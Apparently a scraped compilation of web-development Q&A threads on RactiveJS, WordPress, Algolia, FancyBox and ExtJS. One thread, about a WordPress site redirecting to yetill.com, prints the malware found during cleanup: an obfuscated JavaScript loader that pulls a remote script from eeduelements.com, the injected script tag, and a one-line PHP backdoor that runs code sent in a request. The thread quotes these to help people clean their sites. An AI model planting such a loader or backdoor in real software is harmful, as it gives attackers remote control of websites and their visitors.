RactiveJS on-enter plugin missing - ractivejs

I've been looking for the "on-enter" plugin which seems to be working in the Tutorials section found here. Wierd fact, in the plugins section the keys events plugin went missing ( or link didn't get updated, whatever ).
Problem is, there's nothing regarding that in the tutorial but it works there. So if anyone has a link or something, it'd be great !
I'm tired of on-keydown's :(

It's part of: https://github.com/ractivejs/ractive-events-keys.
via npm (> npm i ractive-events-keys --save):
var keys = require( 'ractive-events-keys' );
Ractive.events.enter = keys.enter;
Or just as browser script (available in the dist folder of the project):
<script src='ractive.js'></script>
<script src='ractive-events-keys.js'></script>

Related

Different CSS displayed between Dev environment and Production environment for website with same code

For the following website that I have made: ifrs.site (WordPress site with custom theme, if that's important), there is an overlap of content by the footer when the browser window is not maximised on desktop, or when viewed on mobile. I fixed this overlap issue in the dev environment, but the live website with the same CSS code as the dev website ends up with a worse overlap.
What is the cause in discrepancy? You can see the differences in code at this github repo: https://github.com/keg504/IFRS-Website-theme-files, in the 2 branches dev-files and master. What is on master is what is used on the site currently.
I'm using Local by Flywheel for the dev environment on Windows 10, and the CSS is run using a webpack configuration on nodejs.
Edit: As Aliqua has requested, I've added the wp_enqueue_style function I'm calling to load the CSS: wp_enqueue_style('our-main-styles', get_theme_file_uri('/bundled-assets/styles.ba56d060f11656536bc3.css'));
The part between styles...css changes whenever npm run build is run in the command line
Depending on your design/setup the css could have attached in the source code a ?ver=1.0.0 or similar. Which means if you have made changes but not updated the version it is still recalling the original file from the cache.
Some developers overcome this by setting the enqueue_script() version part of the array to a date() (including time with hour-min-sec) function. This will mean that everytime the page is refreshed the version is different and it wont recall older versions of the css from the cache.
Search your code for the enqueue script line for the css in question and see if you can set date() to the version value.
Refer to https://www.php.net/manual/en/function.date.php for more information.
Update:
Based on your update, you could replace it with something like this.
wp_enqueue_style( 'our-main-styles',
get_theme_file_uri('/bundled-assets/styles.ba56d060f11656536bc3.css'),
array( $parent_style ), // remove if there is no parent style
date("His")
);
Reference wp_enqueue_style - https://developer.wordpress.org/reference/functions/wp_enqueue_style/
Final Thoughts:
Please note, that this answer may in fact not be the actual solution as much as I have tried to identify your issue. Please refer to https://developer.wordpress.org/ to familiarise yourself with the introductory information in relation to wordpress development. If you are going to want to do more changes to your wordpress CMS, you will need a basic understanding of how to make changes. Please focus some of your research to plugin creation, working with child themes, and how to make your own custom functions. Then you will be able to write better questions, and be able to action the answers in the future.
Best of luck with your development.

Wordpress Site always redirects to yetill.com

Anyone who can help me how to fix my site?
It is always redirecting to yetill.com. I searched about this site and i learned that it is a kind of malware.
Tried various solutions found on the net but still not solved.
Thanks.
Preliminary steps:
Backup everything
Check the file wp-includes/js/jquery/jquery.js - the first line should only contain a comment like /*! jQuery v1.... Delete anything before that line (you made a backup, right?)
Check your /wp-content/uploads directory for suspicious files. For us it was we had malicious files e.g. in this sub dir: /ultimatemember/temp/[random dir]/n.php - Delete those after making a backup.
Install WordFence WP plugin and scan your site
Double-check that wp-includes/js/jquery/jquery.js is still OK (it can be modified again)
Consider the WordFence option "Disable Code Execution for Uploads directory" to prevent future intrusions if that works for your site (test!).
Background:
We have the same problem. Wordfence noticed that the file wp-includes/js/jquery/jquery.js was modified on the server. Restoring it to the original version seemed to solve it. BUT, the file got infected quickly (hours?). So we do not know the source yet...
We found some suspicious code in /wp-content/uploads/ultimatemember/temp/[random dir]/n.php:
<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q']));
include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>
That basically executes any PHP code from outside...
After deleting those files, the site did seemed back to normal (couple of hours).
We also noticed a suspicious <a> tag in the page source; but not sure about its relevance.
<a class="html-attribute-value html-resource-link" target="_blank"
href="https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4"
rel="noreferrer noopener">https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4</a>
It seems that this is caused by the vulnerability of some plugins you might be using.
In my case it was the older version (prior to 2.22) of Ultimate Member plugin.
If you are using version 2.22 or earlier of this plugin, you should update this plugin immediately, and purge temp files. (https://wordpress.org/support/topic/malicious-files-in-ultimate-members-plugin/)
After that, search recently updated files with this command. (e.g. 15 days)
find ./ -type f -mtime -15
Chances are your WP jquery file and any files with name "header" is likely to be infected.
/wp-includes/js/jquery/jquery.js
/wp-contents/your-theme/header.php
..
Remove the following script in your infected header files.
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
It looks like this is inserted right after opening head tag and right before closing head tag. Make sure you delete both.
Remove maliciously inserted script from infected Jquery file or just replace the file with clean one from other WP Core installations.
I think this should fix the issue.
You will have to do some troubleshooting. It is either your theme or one of your plugins that contains the malicious code.
Follow these steps:
Switch to a default theme like TwentySeventeen - If the issue
persists, it means it is not your theme.
Deactivate all your active plugins and check the website - The issue should go away.
Begin reactivating your plugins, clearing the cache after each reactivation
and checking your website - Whenever the issue shows up again, it is
that plugin that's the culprit and you cannot use that plugin.
Hope this helps.
jquery file was infected in my case. Just delete the code before /*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */ and make sure that all of your plugins are updated and the site is secure. Also chech the permissions of the files! That helps me in my case
We have the same error, these files were infected. This is the malicious code I've found in them.
wp-includes/js/jquery/jquery.js
(function() { "use strict"; var _0xa8bd=["\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70","\x6E\x75\x6C\x6C","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()} })();
themes/yourtheme/header.php
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
This is what I found today after running securi scanner. Hopefully this helps someone because this one is a nasty one. It appears in my case to be affecting the following files:
wp-admin/install.php
wp-includes/js/jquery/jquery.js
wp-includes/theme-compat/header-embed.php
wp-includes/theme-compat/header.php
Whatever it was seemed to have gone ham on my wp-includes directory.
I do run Ultimate Member plugin and I noticed someone mentioned before that earlier versions of this plugin had vulnerabilities. I run a multi-site network, and also noticed that two of the registration forms on my sub-sites had the default role of Administrator (what plugin vendor would find that secure as a default registration option?) with the auto approve option enabled (no verification emails). Apparently activating this plugin in a network environment requires some extra thorough review on those registration and sign in forms.
Had the same issue. jquery was infected and had to be replaced with the original version. The hacker probably used ultimatemember backdoor to upload a php file and execute it. I had to clean up the plugin temp directory.
Another observation was that the hack was forcing modified jquery to load script, which address was loaded from http://src.eeduelements.com/get.php . This gives them the flexibility to rotate the ads.
sudo grep --include=\*.php -rnw . -e "<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>"
that along with this answer below helped me clean my files. It affected all of my websites but now seems to still persist on the site that had ultimate member on it. Still working on it. This Php script was incredible though. thanks to the writer for sure.
PHP/SSH regex script/command to delete identical malware code from many files
This is the php from the above answer. I just swapped out the find portion with the malicious stuff redirecting to yetill.
<?php
//Enter it as it is and escape any single quotes
$find='<script type=\'text/javascript\' src=\'https://cdn.eeduelements.com/jquery.js?ver=1.0.8\'></script>';
echo findString('./',$find);
function findString($path,$find){
$return='';
ob_start();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($path.'/'.$file)){
$sub=findString($path.'/'.$file,$find);
if(isset($sub)){
echo $sub.PHP_EOL;
}
}else{
$ext=substr(strtolower($file),-3);
if($ext=='php'){
$filesource=file_get_contents($path.'/'.$file);
$pos = strpos($filesource, $find);
if ($pos === false) {
continue;
} else {
//The cleaning bit
echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.<br />";
$clean_source = str_replace($find,'',$filesource);
file_put_contents($path.'/'.$file,$clean_source);
}
}else{
continue;
}
}
}
}
closedir($handle);
}
$return = ob_get_contents();
ob_end_clean();
return $return;
}
?>

Algolia - WordPress - Uncaught TypeError: wp.template is not a function

I am getting this error:
Uncaught TypeError: wp.template is not a function on template for Algolia. It is clearly associated with the widget that calls the hits:
search.addWidget(
instantsearch.widgets.hits({
container: '#hits',
hitsPerPage: 30,
templates: {
item: wp.template('instantsearch-hit'),
empty: "We didn't find any results for the search <em>\"{{query}}\"</em>"
}
})
);
From what I already know this needs wp-util.js script to work (this is supposed to be part of WordPress and this script can be found:
/wp-includes/js/wp-util.js
More about it here:
https://codex.wordpress.org/Javascript_Reference/wp.template
It seems the issue is that the template is not loading for some reason. I tried to enqueue the script via functions.php, but after doing so apart from getting previous error I get two new errors:
Uncaught ReferenceError: _ is not defined
at wp-util.js:17
at wp-util.js:124
Did anyone had such issue and managed to resolve it already?
Thank you for your help.
Are you using Cloudflare rocket loader by any chance?
There is a bug report for the same error that is apparently caused by Cloudflare rocket loader.
The solution mentioned in that bug report is:
I applied a small workaround to prevent the js error, which was
blocking other scripts in my website, adding:
if( wp.template == null ) return;
right after the firing of the script:
jQuery(function () {
In this way, my following scripts are fired correctly, but sometimes
(let's say 1 time every 4 page loads) the autocomplete search is not
fired.
Faced same issue in my wp's admin panel. And found that "BackUpWordpress" plugin was the problem. I just deactivate it and checked page again. Error was gone.
So the solution is just deactivate additional plugins one by one and check errored page every time. This is how you can have the idea which plugin is responsible for this jquery error.
I confirmed that to deactivate plugin will not erase saved data inside that plugins. So there is no issue to deactivate plugin. Once your work complete on the page where "Uncaught TypeError: wp.template is not a function" error occurred, you can activate plugins again.
In my case I had W3 Total Cache plugin installed, and Minify option was set to Manual.
After I removed wp-underscore script from manual minify list, issue with the wp.template() Not a function was gone.

WordPress + Easy FancyBox = d.onCleanup is not a function

Hi Guys I have a problem similar to this previous question but based on WordPress.
Everything was working fine, then the plugin has stopped to work! I am no more able to load my modal windows because the plugin is not able to load the CSS.
The fact is that I've tryed to unistall and install a brand new version of the plugin a coupple of times, but noting has changed, I still see this error:
d.onCleanup is not a function
from the file wp-content/plugins/easy-fancybox/fancybox/jquery.fancybox-1.3.4.pack.js?ver=1.3.4
Now I've seen that I sould check for the css file created by easy-fancybox.css.php and when I try what's is inside this file I've a 404 Nothing Found error, but the file is present inside my folder and I really don't understand why its behaving like that!
I've cheched permissions, copied a coupple of times but nothing solved my problem!
Someone has a clue on how to fix this issue?
If you wanna see the site follow this link and click on a thumbnail.
Thanks for the help!
Just add fancybox js and css like below.
add_action('init','jsregister');
function jsregister(){
wp_register_script( 'fb', WP_PLUGIN_URL.'/fancybox/fancy/jquery.fancybox-1.3.4.pack.js','jquery', false );
wp_enqueue_script( 'fb' );
wp_register_script( 'fbe', WP_PLUGIN_URL.'/fancybox/fancy/jquery.easing-1.3.pack.js','jquery', false );
wp_enqueue_script( 'fbe' );
wp_register_style('fbs', WP_PLUGIN_URL.'/fancybox/fancy/jquery.fancybox-1.3.4.css');
wp_enqueue_style( 'fbs');
}
I'm sure you're long past this, but as it came up for me, I'll present what worked for me, namely Turn off Super-cache or whatever cache type plugin you might have running (make sure the cache files are gone too.) Everything went back to normal for me after that.
It seems your WP installation in the site root catches the call to http://designonsale.info/wordpress/wp-content/plugins/easy-fancybox/easy-fancybox.css.php?ver=1.3.4 before it reaches the actual file.
Is there some .htaccess rule doing that maybe?

Ext is not defined

I'm trying to implement a TinyMCE plugin with ExtJs, with a demo as example, found here: link.
This fails because I receive an "Ext is not defined" error in Firebug. I basically copied the example, I only used a newer version of Ext. First of all the css and scripts are included:
<link href="scripts/extjs/resources/css/ext-all.css" rel="stylesheet" type="text/css" />
<script src="scripts/extjs/ext-all.js" type="text/javascript"></script>
<script src="scripts/miframe/miframe-min.js" type="text/javascript"></script>
<script src="scripts/tinymce/jscripts/tiny_mce/tiny_mce_src.js" type="text/javascript"></script>
<script src="scripts/ux/Ext.ux.TinyMCE.js" type="text/javascript"></script>
Firebug does not complain, all the scripts are found on the specified paths and are included.
Next I call the Ext function in the head of my aspx document,
<script type="text/javascript">
console.log("Ready...");
Ext.onReady(function() {
console.log("set...");
Ext.get("cmdOpen").on("click", function() {
console.log("GO");
var dlg = new Ext.Window({
//etc
</script>
The console.log("Ready...") shows up in the console, then the code breaks. There are four references to "Ext is not defined", in ext-all.js(), miframe-min.js(), Ext.ux.TinyMCE.js() and in the code in the .aspx file. (Default.aspx)
I did not alter any aspect of the included files, they are official releases.
Am I perhaps missing a statement somewhere? Or do I have to include other things still? I have honestly no clue.
Even when including ext-all(-debug).js, you still need to include the ext-base.js file before that, otherwise you will get the "Ext is not defined error". Not sure by your last comment if you are already past this or not, but I thought I would point it out. Please see this page for complete details on how your includes should be set up:
http://www.extjs.com/learn/Tutorial:HTML_Page_Setup
there is a firefox extension called "jsview", it allows you to see what scripts and css files are included on a page.
When navigating to the link you include at the top of your post and opening the ExtJs file, you'll notice that the example provided is using version 2.1 of the code.
The Ext.ux.TinyMCE v0.6 has a corresponding blog post here. You will notice that it specifically requires:
Firefox 2+, Opera 9+, MSIE 7
ExtJS 2.1
TinyMCE 3.1.0.1
Ext.ux.ManagedIframePanel
Be aware that when plugging in a newer versions of the TinyMCE or ExtJs libraries, there might (read will) be breaking changes that you will then have to resolve. You could try scrape the files directly from the example to ensure you have a working version.
If you choose to use ExtJs v3+, get the latest components:
1) ux.ManagedIframe has been maintained more recently and even upgraded for ExtJS 3.x here
2) Read through the ux.TinyMce thread and download the latest version. I think it's 0.7b. If you're still having problems, that's probably the best place to find answers.
copy the lib folder in your eclipse workspace`s exjts project folder and just give the relative paths, is should than work
Go to ExtJs website and make sure you download and included all the necessary files and IN ORDER,also using a newer version might break the code.
try it with simpler examples and only reference the ext stuff and see if it loads

Resources